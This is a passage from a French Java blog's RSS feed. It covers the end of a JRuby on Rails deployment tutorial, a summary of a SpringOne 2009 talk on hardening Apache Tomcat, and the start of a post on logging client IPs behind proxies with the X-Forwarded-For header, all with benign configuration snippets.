href="http://kenai.com/jira/browse/JRUBY_RACK-18" title="la solution  apparat" >la solution  apparaît</a> dans le JIRA de <code>jruby-rack</code>. Pour plus de clarté, voici les étapes qui pourraient se greffer en fin de tutoriel pour obtenir un résultat probant :</p><ul><li>récupérer le dernier jar snapshot de <a
href="http://snapshots.repository.codehaus.org/org/jruby/rack/jruby-rack/0.9.5-SNAPSHOT/" title="jrubyrack version 095" >jruby-rack version 0.9.5</a></li><li>le placer dans le répertoire <code>lib/</code> de notre projet rails</li><li>éditer le fichier <code>config/warble.rb</code> et y ajouter les lignes suivantes :</li></ul><pre class="brush: ruby; title: ; notranslate">
# ligne existante
Warbler::Config.new do |config|
#lignes à insérer
config.java_libs.delete_if {|f| f =~ /jruby-rack/ }
config.java_libs += FileList[&quot;lib/jruby-rack*.jar&quot;]
#ligne existante
end
</pre><p>Cela forcera le plugin <code>Warbler</code> à utiliser le jar présent dans le répertoire <code>lib/</code> plutôt que la version fournie par l&#8217;installation JRuby.</p><ul><li>lancer les commandes suivantes pour reconstruire le war :</li></ul><pre class="brush: plain; title: ; notranslate">
warble war:clean
warble
</pre><ul><li>Redéployer le nouveau war dans Tomcat.</li></ul><h2><a
name="Railsdansunserveurdapplication"></a>Rails dans un serveur d&#8217;applications Java</h2><p>Avec ce tutoriel de découverte, nous venons de voir une solution viable pour intégrer du Rails dans un environnement à dominante Java : développer en Rails et déployer dans un serveur d&#8217;application Java classique. Ainsi, on peut mettre en place des équipes de développeurs Ruby sans avoir à gérer de nouveaux services côté exploitation. JRuby est désormais considéré comme une plate-forme tout à fait viable pour déployer des applications Rails. Le projet est même <a
href="http://rubyonrails.org/deploy" title="cit sur le site officiel" >cité sur le site officiel</a> de Ruby on Rails comme solution de déploiement idéale pour introduire Ruby en entreprise.</p><p>Cette solution permet de diminuer les risques de l&#8217;adoption du langage Ruby en les cantonnant aux équipes de développement. De plus, on peut facilement coder des ajouts Java, comme des beans JMX. Monitorer des applications Ruby on Rails avec Hyperic ? C&#8217;est possible !</p><h2><a
name="SpringonRails"></a>Spring on Rails</h2><p>La question qui vient ensuite est de savoir si on peut poser une application Rails sur une stack Spring classique pour bénéficier du meilleur des 2 mondes. La réponse, pour l&#8217;heure, est : &laquo;&nbsp;Bonne question !&nbsp;&raquo;. Certaines initiatives ont vu le jour ces derniers temps pour aller dans ce sens. Cependant il n&#8217;y a pour l&#8217;instant aucune méthode officiellement soutenue par JRuby.</p><p>Du coté de Spring, le <a
href="http://static.springsource.org/spring/docs/2.5.x/reference/dynamic-language.html" title="support des langages dynamiques" >support des langages dynamiques</a> inclut déjà JRuby. Cependant l&#8217;injection de dépendances force a faire des modification lourdes sur les controlleurs en Ruby. Ajouter des getter/setter dans des scripts Ruby n&#8217;a pas bonne presse.</p><p>Certains bricoleurs ont réussi à <a
href="http://mysterycoder.blogspot.com/2007/06/spring-jruby.html" title="accder au contexte dapplication" >accéder au contexte d&#8217;application</a> de Spring depuis les contrôleurs Ruby mais pour l&#8217;instant les questions essentielles restent sans réponse, notamment :</p><ul><li>Comment injecter automatiquement les dépendances dans les contrôleurs Ruby ?</li><li>Comment réutiliser les classes Ruby du modèle de données ?</li><li>Comment faire le branchement Rails vers Spring sans entraîner un temps de modification important ?</li></ul><p>D&#8217;une façon générale, les modifications nécessaires à l&#8217;intégration Spring ont tendance à faire perdre les avantages des développements hautement productifs de Rails. Cependant, d&#8217;après les mailing lists, améliorer cette intégration semble faire partie des objectifs du projet JRuby pour l&#8217;avenir. L&#8217;outillage Maven a déjà commencé : dans les sources du projet JRuby on peut voir apparaître un certain plugin maven jruby-rake (<a
href="http://rake.rubyforge.org/" title="Rake" >Rake</a> est le <em>make</em> de Ruby). Le présent est flou, mais l&#8217;avenir semble prometteur.</p><h2><a
name="Conclusions"></a>Conclusions</h2><p>Certes, l&#8217;impression laissée par l&#8217;entrée en matière n&#8217;est pas forcément des plus flatteuses. Mais il faut replacer ce que nous venons de voir dans son contexte. Le projet JRuby s&#8217;est jusqu&#8217;à présent concentré sur le support du langage Ruby. Aujourd&#8217;hui cet objectif est atteint puisque la version stable recommandée par Ruby (1.8.6) est pleinement supportée. C&#8217;est également la version conseillée par le projet Ruby on Rails.</p><p>L&#8217;intégration de Rails dans les développements web à la sauce Java n&#8217;est pas si ancienne que ça et semble être une des priorités du projet pour le futur, notamment l&#8217;amélioration de l&#8217;intégration Spring qui devrait ouvrir de nombreuses possibilités. Les interactions entre JRuby et le projet Ruby on Rails sont fortes et pourraient être la porte d&#8217;entrée du langage Ruby dans les applications web en entreprise.</p><p>Pour l&#8217;instant JRuby on Rails semble être une solution plutôt floue et peu sûre. Ces réticences proviennent plus du saut vers Ruby qu&#8217;implique ce choix technique. JRuby est aujourd&#8217;hui une plate-forme fiable et performante pour Ruby on Rails. Grails est né en réponse notamment à RoR, et JRuby se maintient comme un concurrent à ne pas négliger. En effet, Ruby on Rails compte un grand nombre de fanatiques très motivés pour implanter le Ruby en entreprise, et la communauté des développeurs Java en entreprise est&#8230; disons conséquente. Un projet capable de les réunir autour d&#8217;une table a de quoi motiver les troupes.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/08/28/ou-en-est-jruby-on-rails/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>SpringOne 2009 &#8211; Sécurisation d&#8217;Apache Tomcat</title><link>http://blog.xebia.fr/2009/05/07/springone-2009-securisation-dapache-tomcat/</link> <comments>http://blog.xebia.fr/2009/05/07/springone-2009-securisation-dapache-tomcat/#comments</comments> <pubDate>Thu, 07 May 2009 12:31:25 +0000</pubDate> <dc:creator>Cyrille Le Clerc</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1945</guid> <description><![CDATA[Depuis le rachat de Covalent en Janvier 2008, SpringSource est le premier contributeur au projet Apache Tomcat avec plus de 80% des commits ; Mark Thomas et Philip Thomas en sont les principaux acteurs. Tomcat est la pierre angulaire de l&#8217;offre middleware de SpringSource aujourd&#8217;hui composée de tc Server, une version professionnelle Open Source de [...]]]></description> <content:encoded><![CDATA[<p>Depuis le rachat de Covalent en Janvier 2008, SpringSource est le premier contributeur au projet Apache Tomcat avec plus de 80% des commits ; Mark Thomas et Philip Thomas en sont les principaux acteurs.</p><p>Tomcat est la pierre angulaire de l&#8217;offre middleware de SpringSource aujourd&#8217;hui composée de <a
href="http://www.springsource.com/products/tcserver" title="tc Server" >tc Server</a>, une version professionnelle Open Source de Tomcat et <a
href="http://www.springsource.com/products/dmserver" title="dm Server" >dm Server</a>, un serveur OSGi (le format d&#8217;assemblage que SpringSource préfère aux classiques .war).</p><p>Mark Thomas a présenté lors de <a
href="http://europe.springone.com/europe-2009/file?path=/springone-amsterdam-2009/slides/MarkThomas_SecuringApacheTomcatForYourEnvironment.pdf" title="SpringOne 2009  Securing Apache Tomcat For Your Environment" >SpringOne 2009 : Securing Apache Tomcat For Your Environment</a> les points essentiels sur ce sujet qui se décompose en trois thèmes : la confidentialité, l&#8217;intégrité et la disponibilité.</p><h3><a
name="Planifierlacorrectiondesvulnra"></a>Planifier la correction des vulnérabilités</h3><p>Même si les failles de sécurité sont extrêmement rares dans l&#8217;écosystème Java, il est nécessaire de se préparer à répondre à une vulnérabilité en ayant élaboré un plan d&#8217;application de correctifs. La réalité sera sûrement différente des plans, mais il est important d&#8217;avoir imaginé les rôles et responsabilités de chaque équipe (administrateurs, développement, support, recette, etc.) et de savoir quelle équipe fournira le chef de projet qui coordonnera tous les acteurs. Un plan de correction de vulnérabilités Tomcat comprendra typiquement les étapes suivantes :</p><ol><li>Prise de connaissance de la vulnérabilité : ces informations sont publiées sur le <a
href="http://tomcat.apache.org/security.html" title="site web de Tomcat" >site web de Tomcat</a>, diffusées sur les <a
href="http://tomcat.apache.org/lists.html" title="mailing lists Tomcat" >mailing lists Tomcat</a> (une liste dédiée aux annonces de sécurité et de mises à jour sera bientôt disponible) ; un contrat de support Tomcat permettra aussi d&#8217;être averti. Il faut également identifier l&#8217;équipe (admin, dév, support, etc.) responsable de suivre ces informations.</li><li>Lorsqu&#8217;une vulnérabilité est connue, il faut déterminer si elle s&#8217;applique à l&#8217;architecture mise en place (e.g. un problème AJP ne concernera pas les utilisateurs de mod_proxy_http, etc.) ; les équipes d&#8217;admin et de dév seront vraisemblablement impliquées dans cette étape. Un contrat de support pourra faciliter cette tâche.</li><li>S&#8217;il s&#8217;avère nécessaire d&#8217;appliquer le correctif, l&#8217;équipe de développement réalisera les premiers tests de non-régression sur un poste de travail avant que l&#8217;équipe d&#8217;administrateurs installe le fix sur un environnement de validation (e.g. intégration ou pré-production) pour que les équipes de recette réalisent des tests de non-régression plus poussés.</li><li>Une fois la non-régression confirmée par les équipes de recette, l&#8217;équipe d&#8217;administrateurs déploiera le correctif en production.</li><li>Le chef de projet qui gère la correction d&#8217;une vulnérabilité de sécurité pourra à tout moment décider d&#8217;arrêter tout ou partie de l&#8217;application en production pour prévenir une attaque.</li></ol><p>Ce type de plan pourrait sembler alarmiste ou excessif pour le monde Java mais il faut garder en tête que nous développons des applications critiques dont la compromission pourrait avoir des impacts autant financier que de notoriété.</p><h3><a
name="BonnespratiquesdinstallationTo"></a>Bonnes pratiques d&#8217;installation Tomcat</h3><h4><a
name="PermissionsOSJVMetrseau"></a>Permissions OS, JVM et réseau</h4><ul><li>Pour limiter l&#8217;impact en cas d&#8217;attaque réussie, créer un utilisateur dédié à l&#8217;exécution des serveurs tomcat (e.g. &#8216;tomcat&#8217;) aux droits limités à l&#8217;arborescence de répertoires utilisés par Tomcat. On pourra compléter cette approche par la création d&#8217;un groupe &#8216;tomcat&#8217; dont feront partie les utilisateurs qui auront accès en lecture seule aux fichiers de l&#8217;arborescence Tomcat. Sous Linux/Unix, cela correspond à une politique de répertoire <code>owner=rwx, group=r, other=none</code>.</li><li>En cas de doute sur la bienveillance des applications web déployées sur le serveur Tomcat, utiliser le Security Manager Java pour limiter les droits d&#8217;accès (fichiers, socket, etc.) de ces applications.</li><li>Utiliser des firewalls aussi bien entrants que sortants. Si les premiers sont le plus souvent installés, il est hélas fréquent de ne pas avoir les seconds. Sans cela, du code malicieux pourra sans difficulté faire sortir sur Internet des informations sensibles ou télécharger des programmes malveillants (chevaux de Troie, etc.).</li></ul><h4><a
name="Applicationspardfaut"></a>Applications par défaut</h4><p>Il ne faut installer les applications fournies par défaut dans Tomcat que si elles sont utilisées :</p><ul><li>Supprimer les applications <code>docs</code> et <code>examples</code>.</li><li>Remplacer l&#8217;application ROOT par une version épurée (e.g. <a
href="http://blog.xebia.fr/wp-content/uploads/2009/05/root.war" title="ROOT.war" >ROOT.war</a>). Notez qui si vous ne spécifiez pas d&#8217;application ROOT, les appels à des URLs non définies par une des applications déployées retourneront un message &laquo;&nbsp;400 Bad Request&nbsp;&raquo; qui surprendra beaucoup plus que le traditionnel &laquo;&nbsp;404 Not Found&nbsp;&raquo;.</li><li>Supprimer les applications <code>manager</code> et <code>balancer-manager</code> si vous reposez sur le classique déploiement d&#8217;applications par copie de fichier.</li></ul><h4><a
name="Realms"></a>Realms</h4><p>Les Realms fournis avec Tomcat avaient jusqu&#8217;à présent pour forte limitation de ne pas offrir de mécanisme de verrouillage des comptes utilisateurs et étaient donc exposés aux <a
href="http://fr.wikipedia.org/wiki/Attaque_par_force_brute" title="attaques par force brute" >attaques par force brute</a>. Tomcat 6.0.19 introduit un <a
href="http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_19/java/org/apache/catalina/realm/LockOutRealm.java" title="LockOutRealm" >LockOutRealm</a> qui offre ce verrouillage ainsi qu&#8217;un <a
href="http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_19/java/org/apache/catalina/realm/CombinedRealm.java" title="CombinedRealm" >CombinedRealm</a> qui permet de combiner des users déclarés dans plusieurs realms. Par ailleurs, les <a
href="http://tomcat.apache.org/tomcat-6.0-doc/realm-howto.html#MemoryRealm" title="MemoryRealm" >MemoryRealm</a> et <a
href="http://tomcat.apache.org/tomcat-6.0-doc/realm-howto.html#JDBCRealm" title="JDBCRealm" >JDBCRealm</a> ne devraient pas être utilisés en production respectivement parce que le premier ne permet pas de rechargement des users sans redémarrage et le second parce qu&#8217;il est limité à une seule connexion JDBC simultanée.</p><h4><a
name="ShutdownPortunreliquatdespremi"></a>Shutdown Port, un reliquat des premières heures de Java</h4><p>Le shutdown port servait pour les JVM inférieures à 1.3 qui ne supportaient pas les <a
href="http://java.sun.com/javase/6/docs/api/java/lang/Runtime.html#addShutdownHook(java.lang.Thread)" title="shutdownHook" >shutdownHook</a> mais représente aujourd&#8217;hui une faille de sécurité : n&#8217;importe quel utilisateur connecté sur la machine peut arrêter le serveur Tomcat avec un simple telnet ; les mécanismes de permissions liés au propriétaire du processus sont ignorés.</p><p>Ce shutdown port doit être désactivé (<code>server port="-1" ... </code>) au profit du classique kill Unix ou d&#8217;un service Windows . Désactiver ce mécanisme nécessite une adaptation du script <code>catalina.sh</code> et, sur les plateformes linux/unix qui utilisent <code>kill</code>, s&#8217;accompagne de la déclaration dans <code>setenv.sh</code> de la variable <code>CATALINA_PID</code> pour créer un fichier qui porte l&#8217;id du processus Tomcat.</p><p>Si vous ne pouvez désactiver le shutdown port, remplacez la commande d&#8217;arrêt par défaut &laquo;&nbsp;SHUTDOWN&nbsp;&raquo; par un mot secret imprédictible. Il n&#8217;est hélas pas possible de filtrer l&#8217;adresse IP de l&#8217;appelant.<br
/> Exemple (Shutdown port avec un commande d&#8217;arrêt imprédictible) :</p><pre class="brush: xml; title: ; notranslate">
&lt;Server port=&quot;8005&quot; shutdown=&quot;gat6eSpU&quot;/&gt;
</pre><h4>Logs et audit</h4><p>L&#8217;<a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/index.html?org/apache/catalina/valves/AccessLogValve.html">AccessLogValve</a> doit être utilisée pour tracer les requêtes HTTP. On déclarera communément un fichier de log par host pour identifier le host saisi dans l&#8217;url d&#8217;appel qui, à la différence de l&#8217;URI, n&#8217;apparaît pas dans le fichier access_log. Si Tomcat est positionné derrière un load balancer ou un reverse proxy, il faut gérer le header X-Forwarded-For (voir &laquo;&nbsp;<a
href="http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/">Tomcat &#8211; Adresse IP de l&#8217;internaute, load balancer, reverse proxy et header Http X-Forwarded-For</a>&laquo;&nbsp;).</p><p>Ces fichiers de log, au même titre que les logs applicatives, doivent être archivés.</p><p>Exemple (configuration d&#8217;un Access Log par Host) :</p><pre class="brush: xml; title: ; notranslate">
&lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot; directory=&quot;logs&quot; prefix=&quot;localhost_access_log.&quot;
suffix=&quot;.txt&quot; pattern=&quot;common&quot; resolveHosts=&quot;false&quot; /&gt;
</pre><h4><a
name="Filtragedesrequtesentrantes"></a>Filtrage des requêtes entrantes</h4><p>Tomcat permet de filtrer les requêtes en fonction de l&#8217;adresse IP ou du host de l&#8217;appelant (respectivement <a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/index.html?org/apache/catalina/valves/RemoteAddrValve.html" title="RemoteAddrValve" >RemoteAddrValve</a> et <a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/index.html?org/apache/catalina/valves/RemoteHostValve.html" title="RemoteHostValve" >RemoteHostValve</a>). Le deuxième filtre connaît peu de scénarios d&#8217;utilisation. Comme pour l&#8217;AccessLogValve, si Tomcat est positionné derrière un load balancer ou un reverse proxy, il faut gérer le header X-Forwarded-For (voir infra &laquo;&nbsp;Adresse IP de l&#8217;internaute, reverse proxy et header Http X-Forwarded-For&nbsp;&raquo;). Exemple (Filtrage des IP appelantes) :</p><pre class="brush: xml; title: ; notranslate">
&lt;Valve className=&quot;org.apache.catalina.valves.RemoteAddrValve&quot; allow=&quot;127.0.0.1&quot; /&gt;
</pre><h4>Protection des mots de passe présents dans la configuration</h4><p>Tomcat a exclu la mise en oeuvre de mécanismes de protection des mots de passe saisis dans les fichiers de configuration au motif que ces mécanismes nécessitent l&#8217;utilisation d&#8217;un nouveau secret d&#8217;obfuscation qui devient alors difficile à protéger et conduirait donc à un problème de type &laquo;&nbsp;serpent qui se mord la queue&nbsp;&raquo;.</p><p>Nous corroborerons ce raisonnement remettant en cause les mécanismes de type &laquo;&nbsp;protection pour qu&#8217;on ne se souvienne pas du mot de passe en regardant par dessus l&#8217;épaule d&#8217;un administrateur&nbsp;&raquo; : si un mot de passe est vraiment compliqué (majuscules, minuscules, chiffres et caractères de ponctuation), il n&#8217;est pas mémorisable d&#8217;un simple coup d&#8217;oeil ; la génération de tels mots de passe est très simple avec les nombreux sites web qui offrent gratuitement ce service (e.g. <a
href="http://www.pctools.com/guides/password/">PC Tools Secure Password Generator</a>).</p><h4>Limitations des déploiements d&#8217;applications</h4><p>Tomcat offre le déploiement de nouvelles applications lorsque le serveur est déjà démarré. Cette fonctionnalité se désactive en positionnant la propriété <code>autoDeploy</code> à <code>false</code> :<br
/> Désactivation du déploiement d&#8217;applications lorsque Tomcat est démarré :</p><pre class="brush: xml; title: ; notranslate">
&lt;Host autoDeploy=&quot;false&quot; ... &gt;
</pre><p>Tomcat permet également de déployer de nouvelles applications présentes sous le répertoire <code>webapps</code> (nom de répertoire défini par la propriété <code>appbase</code>). Cette fonctionnalité se désactive en positionnant la propriété <code>deployOnStartup</code> à <code>false</code> :<br
/> Désactivation du déploiement d&#8217;applications au démarrage de Tomcat :</p><pre class="brush: xml; title: ; notranslate">
&lt;Host deployOnStartup=&quot;false&quot; ...&gt;
</pre><p>Lorsque ces deux propriétés sont désactivées, seules les applications déclarées dans <code>server.xml</code> sont déployées.</p><p>Par ailleurs, la propriété <code>deployXML</code> permet, en la mettant à <code>false</code>, de désactiver les éléments de configuration embarqués par les web applications dans le fichier <code>/META-INF/context.xml</code></p><h4>Protection contre les dénis de service</h4><p>Les connecteurs <a
href="http://tomcat.apache.org/tomcat-6.0-doc/config/http.html">Http</a> et <a
href="http://tomcat.apache.org/tomcat-6.0-doc/config/ajp.html">AJP</a> intègrent une protection contre les <a
href="http://fr.wikipedia.org/wiki/D%C3%A9ni_de_service">dénis de service</a> en limitant la taille des requêtes (attribut <code>maxPostSize</code> dont la limite par défaut est de 2 Mo) et limitant la taille des requêtes lors d&#8217;authentification par certificat client ou formulaire géré par Tomcat (attribut <code>maxSavePostSize</code> dont la limite par défaut est de 4 Ko). Cette limite s&#8217;applique au corps de la requête et pas aux uploads de fichiers dont la limitation est déléguée au framework qui gère l&#8217;upload. Par exemple, <a
href="http://commons.apache.org/fileupload/">Apache Commons File Upload</a> offre pour cela un paramètre <a
href="http://commons.apache.org/fileupload/using.html">maxSize</a>.</p><p>Apache Httpd offre un mécanisme similaire avec la directive <a
href="http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestbody">LimitRequestBody</a> mais cette protection n&#8217;est pas activée par défaut.</p><h4>Autres bonnes pratiques de sécurité</h4><p>La taille d&#8217;un fichier <code>server.xml</code> ne devrait pas dépasser un écran, il faut retirer ce qui est inutile (dans l&#8217;hypothèse où les applications ne sont pas déclarées dans ce fichier).</p><p>Si vous migrez de Tomcat 5.5 ou inférieur à Tomcat 6.0, il ne faut pas réutiliser les anciens fichiers server.xml mais en réécrire de nouveau, à partir du modèle standard livré avec Tomcat.</p><p>L&#8217;<a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/index.html?org/apache/catalina/servlets/InvokerServlet.html">InvokerServlet</a> doit rester désactivée. D&#8217;ailleurs, elle sera retirée de Tomcat 7. La [Default Servlet|http://tomcat.apache.org/tomcat-6.0-doc/default-servlet.html] doit conserver le paramètre <code>readonly</code> à <code>true</code> (désactivation des requêtes <code>PUT</code> et <code>DELETE</code> sur les contenus statiques) et le paramètre <code>listings</code> à <code>false</code> (désactivation de la liste des fichiers d&#8217;un répertoire).</p><p>La possibilité d&#8217;utiliser des request dispatchers inter web applications (attribut <code>crossContext</code> ) devrait rester désactivée comme l&#8217;autorisation d&#8217;accéder à des composants internes Tomcat depuis les web applications (attribut <code>privileged</code>) et la possibilité d&#8217;utiliser des liens symboliques dans les web applications ( attribut <code>allowLinking</code>). L&#8217;activation de cette dernière option exposerait le serveur à des risques de type <a
href="http://en.wikipedia.org/wiki/Directory_traversal">directory traversal</a>.</p><h3>Pour aller plus loin</h3><p>* <a
href="http://www.springsource.com/webinars/download/tomcat_tips_tricks_pros">Apache Tomcat Tips and Tricks from the Pros</a> (webinar),<br
/> * <a
href="http://www.springsource.com/webinars/download/performance_tuning_tomcat">Performance Tuning Apache Tomcat for Production</a> (webinar),<br
/> * <a
href="http://europe.springone.com/europe-2009/file?path=/springone-amsterdam-2009/slides/MarkThomas_PerformanceTuningForApacheTomcat.pdf">Performance Tuning for Apache Tomcat</a> (slides de SpringOne 2009),<br
/> * The Center for Internet Security : <a
href="http://cisecurity.org/en-us/?route=downloads.show.single.tomcat.100">CIS Apache Tomcat Server Benchmark v.1.0.0</a>. 55 pages très instructives sur la sécurisation de Tomcat. Si vous avez aimé, regardez aussi <a
href="http://cisecurity.org/en-us/?route=downloads.form.apache.220">CIS Apache Web Server 1.3.37/2.0.59/2.2.4 Benchmark v2.2.0</a>.</p><p>11/05/2009 : prise en compte de la remarque d&#8217;Arnaud : <i>&laquo;&nbsp;n&#8217;importe qui peut arrêter le serveur Tomcat avec un simple telnet&nbsp;&raquo;</i> -> <i>&laquo;&nbsp;n&#8217;importe quel utilisateur connecté sur la machine peut arrêter le serveur Tomcat avec un simple telnet ; les mécanismes de permissions liés au propriétaire du processus sont ignorés&nbsp;&raquo;</i>.<br
/> 27/01/2010 : ajout des références à &laquo;&nbsp;CIS Apache Tomcat Server Benchmark v.1.0.0&#8243; et &laquo;&nbsp;CIS Apache Web Server 1.3.37/2.0.59/2.2.4 Benchmark v2.2.0&#8243;</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/05/07/springone-2009-securisation-dapache-tomcat/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>Tomcat : Adresse IP de l&#8217;internaute, load balancer, reverse proxy et header Http X-Forwarded-For</title><link>http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/</link> <comments>http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/#comments</comments> <pubDate>Tue, 05 May 2009 17:49:12 +0000</pubDate> <dc:creator>Cyrille Le Clerc</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[header]]></category> <category><![CDATA[Load Balancer]]></category> <category><![CDATA[Reverse Proxy]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1914</guid> <description><![CDATA[Note du 24/01/2010 : La RemoteIpValve et le XForwardedFilter ont été intégrés au projet Tomcat. La RemoteIpValve est disponible depuis Tomcat 6.0.24, le XForwardedFilter a été renommé RemoteIpFilter et sera disponible dans Tomcat 7. Une conférence est l&#8217;occasion de discuter avec les ingénieurs des difficultés que nous rencontrons à utiliser leurs produits. J&#8217;ai profité de [...]]]></description> <content:encoded><![CDATA[<table
border="1"><tr><td>Note du 24/01/2010 : La RemoteIpValve et le XForwardedFilter ont été intégrés au projet Tomcat. La <a
href="http://svn.apache.org/viewvc/tomcat/tc6.0.x/trunk/java/org/apache/catalina/valves/RemoteIpValve.java?annotate=833535&#038;pathrev=833536">RemoteIpValve est disponible depuis Tomcat 6.0.24</a>, le <a
href="http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/filters/RemoteIpFilter.java?annotate=833155">XForwardedFilter a été renommé RemoteIpFilter et sera disponible dans Tomcat 7</a>.</td></tr></table><p>Une conférence est l&#8217;occasion de discuter avec les ingénieurs des difficultés que nous rencontrons à utiliser leurs produits. J&#8217;ai profité de ma participation à SpringOne 2009 pour échanger avec Mark Thomas sur le suivi de l&#8217;adresse IP des internautes dans les logs d&#8217;audit d&#8217;applications web. Mark Thomas est des principaux committer du projet Tomcat et de SpringSource tc Server.</p><p>Le problème se présente lorsqu&#8217;un serveur Tomcat est précédé d&#8217;un reverse proxy (e.g. <a
href="http://httpd.apache.org/docs/2.2/mod/mod_proxy.html" title="mod_proxy" >mod_proxy</a>, <a
href="http://www.squid-cache.org/" title="Squid Cache" >Squid Cache</a>, etc) ou d&#8217;un load balancer (<a
href="http://www.1st-computer-networks.co.uk/alteon-application-switch.php" title="Nortel Alteon" >Nortel Alteon</a>, <a
href="http://www.f5.com/products/big-ip/" title="F5 Big-IP" >F5 Big-IP</a>, etc) : La méthode <code><a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#getRemoteAddr()" title="HttpServletRequest.getRemoteAddr()" >HttpServletRequest.getRemoteAddr()</a></code> ne retourne plus l&#8217;adresse IP de l&#8217;internaute mais celle du composant réseau qui précède le serveur Tomcat.</p><p>Cette perte d&#8217;information a été compensée par les reverse-proxy en ajoutant un header http <a
href="http://en.wikipedia.org/wiki/X-Forwarded-For" title="XForwardedFor" >X-Forwarded-For</a> à toutes les requêtes qu&#8217;ils font transiter. Bien que ce header ne soit pas standard (son nom commence d&#8217;ailleurs par &laquo;&nbsp;X-&nbsp;&raquo;), il est devenu un standard de facto utilisé par la très grande majorité des reverse proxy et load balancers (paramètre <code>xforward=enable</code> pour les Alteon d&#8217;après <a
href="http://www116.nortel.com/docs/bvdoc/alteon/appl_switch/asos_23.0.2_asem_4.0.2/320506-A_00.pdf">Command Reference</a> ; propriété <code>Insert XForwarded For</code> de la <a
href="http://devcentral.f5.com/weblogs/images/devcentral_f5_com/weblogs/macvittie/125/o_enablexforward.JPG">GUI du profile http</a> ou règle <code>when HTTP_REQUEST { HTTP::header insert "X-Forwarded-For" [IP::client_addr] }</code> pour les Big-IP d&#8217;après <a
href="http://devcentral.f5.com/weblogs/macvittie/archive/2008/06/02/3323.aspx">F5 Dev Central : Using &laquo;&nbsp;X-Forwarded-For&nbsp;&raquo; in Apache or PHP</a> ).</p><p>Cependant, les implémentations de l&#8217;API Servlet ne sont pas tenues de prendre en compte ce paramètre dans la méthode <code>request.getRemoteAddr()</code> dont la javadoc stipule bien <em>Returns the Internet Protocol (IP) address of the client or last proxy that sent the request.</em> . Tomcat est d&#8217;ailleurs autant concerné que ses concurrents Websphere ou Weblogic, pour ne citer qu&#8217;eux.</p><p>Toutes les couches sont impactées : l&#8217;<a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/index.html?org/apache/catalina/valves/AccessLogValve.html" title="Access Log" >Access Log</a> Tomcat dont les patterns <code>common</code> et <code>combined</code> utilisent le remote host name (%h) et les frameworks de sécurité et d&#8217;audit comme Spring Security (cf <code><a
href="http://static.springsource.org/spring-security/site/apidocs/org/springframework/security/ui/WebAuthenticationDetails.html#getRemoteAddress()" title="WebAuthenticationDetails.getRemoteAddress()" >WebAuthenticationDetails.getRemoteAddress()</a></code>) ou <a
href="http://www.ja-sig.org/wiki/display/CASUM/Auditing+and+Statistics+Via+Inspektr" title="CAS Inskektr" >CAS Inskektr</a> <code><a
href="http://code.google.com/p/inspektr/source/browse/tags/inspektr-0-7-0/inspektr-core/src/main/java/org/inspektr/common/web/ClientInfo.java" title="ClientInfo" >ClientInfo</a></code>).</p><h3><a
name="AccessLogTomcatetApacheHttpdmo"></a>Access Log Tomcat et Apache Httpd : modification du pattern de log</h3><table
border="1"><tr><td> Depuis l&#8217;intégration de la RemoteIpValve dans Tomcat 6.0.24, il est plus élégant d&#8217;utiliser cette <code>RemoteIpValve</code> (voir infra) que d&#8217;utiliser le <code>%{X-Forwarded-For}i</code> dans le pattern de l&#8217;<code>AccessLogValve</code>.</td></tr></table><p>Pour corriger l&#8217;access log Tomcat, il est possible de configurer l&#8217;utilisation du header X-Forwarded-For plutôt que de l&#8217;ip distante dans le pattern de log (pratique relativement bien documenté).</p><div
align="center"><strong>AccessLogValve utilisant le header X Forwarded For</strong></div><pre class="brush: xml; title: ; notranslate">
...
&lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot; directory=&quot;logs&quot; prefix=&quot;localhost_access_log.&quot;
       suffix=&quot;.txt&quot; pattern=&quot;%{X-Forwarded-For}i %l %u %t %r %s %b&quot; resolveHosts=&quot;false&quot; /&gt;
...
</pre><p>Si les serveurs Apache Httpd sont précédés d&#8217;un load balancer, la modification est très similaire, <a
href="http://httpd.apache.org/docs/2.2/mod/mod_log_config.html#formats" title="modlogconfig" >mod_log_config</a> permet de définir les informations affichées dans l&#8217;accès log. On modifie la pattern de log pour utiliser le header http <code>X-Forwarded-For</code> ( <code>%{X-Forwarded-For}i</code> ) plutôt que le remote host ( <code>%h</code>) :</p><div
align="center"><strong>Access Log Apache utilisant le header X Forwarded For</strong></div><pre class="brush: xml; title: ; notranslate">
LogFormat &quot;%{X-Forwarded-For}i %l %u %t &quot;%r&quot; %&gt;s %b&quot; common
CustomLog logs/access_log common
</pre><p>La prise en compte du header <code>X-Forwarded-For</code> dans Apache Httpd sera bientôt simplifiée avec la récente introduction dans le trunk du module <a
href="http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/manual/mod/mod_remoteip.xml" title="modremoteip" >mod_remoteip</a> qui permettra de prendre en compte ce header avec une simple configuration <code>RemoteIPHeader X-Forwarded-For</code> ; il ne sera plus nécessaire de manipuler le pattern des logs.</p><h3><a
